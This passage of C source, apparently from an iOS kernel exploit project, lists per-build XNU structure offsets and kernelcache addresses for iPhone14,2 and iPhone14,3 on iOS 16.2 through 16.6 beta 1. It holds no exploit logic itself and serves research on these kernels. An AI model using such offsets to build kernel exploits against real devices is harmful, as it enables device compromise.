0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone14,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone14,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a471208,\n        .kernelcache__gPhysBase = 0xfffffff00793c100,\n        .kernelcache__gPhysSize = 0xfffffff00793c100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00793a2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4af520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efd480,\n        .kernelcache__ptov_table = 0xfffffff0078ef180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ae990,\n        .kernelcache__vm_pages = 0xfffffff0078ebec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ee130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ae988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49fe8,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone14,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a519a30,\n        .kernelcache__gPhysBase = 0xfffffff0079502a8,\n        .kernelcache__gPhysSize = 0xfffffff0079502a8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e460,\n        .kernelcache__perfmon_devices = 0xfffffff00a559550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1db9c,\n        .kernelcache__ptov_table = 0xfffffff0079039c0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a558910,\n        .kernelcache__vm_pages = 0xfffffff007900110,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902970,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a558908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f6a0b8,\n    },\n // End iPhone 13 Pro //\n // Start iPhone 13 Pro Max //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a379190,\n        .kernelcache__gPhysBase = 0xfffffff0078580c8,\n        .kernelcache__gPhysSize = 0xfffffff0078580c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078562a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3b43b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8fa8,\n        .kernelcache__ptov_table = 0xfffffff00780b370,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3b3800,\n        .kernelcache__vm_pages = 0xfffffff007808098,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a330,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3b37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f28fd0,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 